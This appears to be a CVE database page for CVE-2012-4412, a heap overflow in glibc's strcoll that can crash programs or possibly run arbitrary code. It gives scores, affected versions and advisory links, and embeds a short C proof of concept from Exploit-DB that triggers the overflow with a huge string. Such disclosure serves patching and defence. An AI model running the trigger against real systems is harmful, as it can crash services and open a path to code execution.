CVE-2012-4412 : Detail

CVE-2012-4412

4.62%V3
Network
2013-10-09
20h00 +00:00
2019-06-13
18h06 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Integer overflow in string/strcoll_l.c in the GNU C Library (aka glibc or libc6) 2.17 and earlier allows context-dependent attackers to cause a denial of service (crash) or possibly execute arbitrary code via a long string, which triggers a heap-based buffer overflow.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-189 Category : Numeric Errors
Weaknesses in this category are related to improper calculation or conversion of numbers.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 37783

Publication date : 2012-09-06
22h00 +00:00
Author : Jan iankko Lieskovsky
EDB Verified : Yes

// source: https://www.securityfocus.com/bid/55462/info GNU glibc is prone to a remote integer-overflow vulnerability which leads to buffer overflow vulnerability. Successful exploits may allow an attacker to execute arbitrary code in the context of a user running an application that uses the affected library. Failed exploit attempts may crash the application, denying service to legitimate users. #include <locale.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #define SIZE 429496730 int main (void) { char *p = malloc (1 + SIZE); if (setlocale (LC_COLLATE, "en_GB.UTF-8") == NULL) { puts ("setlocale failed, cannot test for overflow"); return 0; } if (p == NULL) { puts ("malloc failed, cannot test for overflow"); return 0; } memset (p, 'x', SIZE); p[SIZE] = 0; printf ("%d\n", strcoll (p, p)); return 0; }

Products Mentioned

Configuraton 0

Gnu>>Glibc >> Version To (including) 2.17

Gnu>>Glibc >> Version 2.0

Gnu>>Glibc >> Version 2.0.1

Gnu>>Glibc >> Version 2.0.2

Gnu>>Glibc >> Version 2.0.3

Gnu>>Glibc >> Version 2.0.4

Gnu>>Glibc >> Version 2.0.5

Gnu>>Glibc >> Version 2.0.6

Gnu>>Glibc >> Version 2.1

Gnu>>Glibc >> Version 2.1.1

Gnu>>Glibc >> Version 2.1.1.6

Gnu>>Glibc >> Version 2.1.2

Gnu>>Glibc >> Version 2.1.3

Gnu>>Glibc >> Version 2.1.9

Gnu>>Glibc >> Version 2.10.1

Gnu>>Glibc >> Version 2.11

Gnu>>Glibc >> Version 2.11.1

Gnu>>Glibc >> Version 2.11.2

Gnu>>Glibc >> Version 2.11.3

Gnu>>Glibc >> Version 2.12.1

Gnu>>Glibc >> Version 2.12.2

Gnu>>Glibc >> Version 2.13

Gnu>>Glibc >> Version 2.14

Gnu>>Glibc >> Version 2.14.1

Gnu>>Glibc >> Version 2.15

Gnu>>Glibc >> Version 2.16

References

http://secunia.com/advisories/55113
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.ubuntu.com/usn/USN-1991-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.mandriva.com/security/advisories?name=MDVSA-2013:284
Tags : vendor-advisory, x_refsource_MANDRIVA
http://www.openwall.com/lists/oss-security/2012/09/07/9
Tags : mailing-list, x_refsource_MLIST
https://security.gentoo.org/glsa/201503-04
Tags : vendor-advisory, x_refsource_GENTOO
http://www.mandriva.com/security/advisories?name=MDVSA-2013:283
Tags : vendor-advisory, x_refsource_MANDRIVA
http://seclists.org/fulldisclosure/2019/Jun/18
Tags : mailing-list, x_refsource_FULLDISC
https://seclists.org/bugtraq/2019/Jun/14
Tags : mailing-list, x_refsource_BUGTRAQ